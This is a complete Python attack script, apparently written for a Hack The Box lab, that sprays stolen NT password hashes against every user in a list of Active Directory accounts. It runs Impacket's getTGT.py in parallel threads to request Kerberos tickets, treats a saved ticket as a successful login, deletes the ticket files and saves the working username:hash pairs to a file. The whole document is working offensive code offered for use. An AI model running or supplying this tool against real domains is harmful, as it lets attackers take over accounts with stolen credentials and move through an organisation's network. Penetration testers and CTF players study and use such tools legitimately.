#!/usr/bin/env python3 """ Script to perform hash spray attack against domain users. Tests unique hashes against all domain users using multithreading. """ import subprocess import os import re import time from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock import sys import argparse # Thread-safe list for results results_lock = Lock() results = [] def run_command(cmd, env=None, capture_output=True): """Run a shell command and return output.""" try: if env is None: env = os.environ.copy() result = subprocess.run( cmd, shell=True, capture_output=capture_output, text=True, env=env, timeout=30 # Add timeout to prevent hanging ) return result.returncode, result.stdout, result.stderr except subprocess.TimeoutExpired: return -1, "", "Command timed out" except Exception as e: return -1, "", str(e) def load_users(filename): """Load users from file""" print(f"[*] Loading users from {filename}...") try: with open(filename, 'r') as f: users = [line.strip() for line in f if line.strip()] print(f"[+] Loaded {len(users)} users") return users except Exception as e: print(f"[-] Failed to load users: {e}") return [] def load_unique_hashes(filename): """Load and extract unique hashes from file (one hash per line)""" print(f"[*] Loading hashes from {filename}...") try: hashes = set() with open(filename, 'r') as f: for line in f: hash_value = line.strip() # Check if it's a valid hash (32 hex characters) if hash_value and len(hash_value) == 32 and all(c in '0123456789abcdefABCDEF' for c in hash_value): hashes.add(hash_value.lower()) print(f"[+] Loaded {len(hashes)} unique hashes") return list(hashes) except Exception as e: print(f"[-] Failed to load hashes: {e}") return [] def test_hash_for_user(user, hash_value, domain, dc_ip): """Test if a hash works for a specific user""" cmd = f"getTGT.py '{domain}/{user}' -hashes ':{hash_value}' -dc-ip {dc_ip}" returncode, stdout, stderr = run_command(cmd) output = stdout + stderr # Check if authentication was successful if 'Saving ticket' in output: return True, output else: return False, output def spray_hash_parallel(hash_value, users, domain, dc_ip, max_workers=10): """Spray a single hash against all users using parallel execution""" print(f"\n[*] Testing hash: {hash_value} against {len(users)} users") matches = [] tested = 0 with ThreadPoolExecutor(max_workers=max_workers) as executor: # Submit all tasks future_to_user = { executor.submit(test_hash_for_user, user, hash_value, domain, dc_ip): user for user in users } # Collect results as they complete for future in as_completed(future_to_user): user = future_to_user[future] tested += 1 try: success, output = future.result() if success: print(f"[+] MATCH! User: {user} | Hash: {hash_value}") matches.append((user, hash_value)) # Clean up the generated ticket file ticket_file = f"{user}.ccache" try: if os.path.exists(ticket_file): os.remove(ticket_file) except: pass # Print progress every 50 users if tested % 50 == 0: print(f" Progress: {tested}/{len(users)} users tested") except Exception as e: print(f"[-] Error testing {user}: {str(e)}") print(f"[*] Completed testing hash {hash_value}: {len(matches)} matches found") return matches def parse_arguments(): """Parse command line arguments""" parser = argparse.ArgumentParser( description='Hash spray attack against domain users', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -d hercules.htb -i 10.10.11.91 -u users.txt -H hashes.txt %(prog)s --domain contoso.com --dc-ip 192.168.1.10 --users users.txt --hashes hashes.txt -w 20 """ ) parser.add_argument('-d', '--domain', required=True, help='Target domain (e.g., hercules.htb)') parser.add_argument('-i', '--dc-ip', required=True, help='Domain Controller IP address') parser.add_argument('-u', '--users', required=True, help='File containing usernames (one per line)') parser.add_argument('-H', '--hashes', required=True, help='File containing NT hashes (one per line)') parser.add_argument('-w', '--workers', type=int, default=15, help='Number of parallel workers (default: 15)') parser.add_argument('-o', '--output', default='hashspray_results.txt', help='Output file for results (default: hashspray_results.txt)') return parser.parse_args() def main(): # Parse command line arguments args = parse_arguments() print("="*60) print("[*] Starting Hash Spray Attack") print("="*60) print(f"[*] Domain: {args.domain}") print(f"[*] DC IP: {args.dc_ip}") print(f"[*] Users file: {args.users}") print(f"[*] Hashes file: {args.hashes}") print(f"[*] Workers: {args.workers}") # Load users users = load_users(args.users) if not users: print("[-] No users loaded. Exiting.") sys.exit(1) # Load unique hashes hashes = load_unique_hashes(args.hashes) if not hashes: print("[-] No hashes loaded. Exiting.") sys.exit(1) print(f"\n[*] Starting hash spray: {len(hashes)} hashes vs {len(users)} users") print(f"[*] Total attempts: {len(hashes) * len(users)}") # Spray each hash against all users all_matches = [] for i, hash_value in enumerate(hashes, 1): print(f"\n{'='*60}") print(f"[*] Hash {i}/{len(hashes)}") print(f"{'='*60}") matches = spray_hash_parallel(hash_value, users, args.domain, args.dc_ip, max_workers=args.workers) all_matches.extend(matches) # Small delay between hashes to avoid overwhelming the DC if i < len(hashes): time.sleep(1) # Print final results print("\n" + "="*60) print("[*] HASH SPRAY RESULTS") print("="*60) if all_matches: print(f"\n[+] Found {len(all_matches)} valid user:hash combinations:\n") # Save to file with open(args.output, 'w') as f: f.write("Username:NT Hash\n") f.write("="*60 + "\n") for user, hash_value in sorted(all_matches): result_line = f"{user}:{hash_value}" print(result_line) f.write(result_line + "\n") print(f"\n[+] Results saved to: {args.output}") else: print("\n[-] No valid user:hash combinations found") print(f"\n[*] Hash spray complete!") if __name__ == "__main__": main()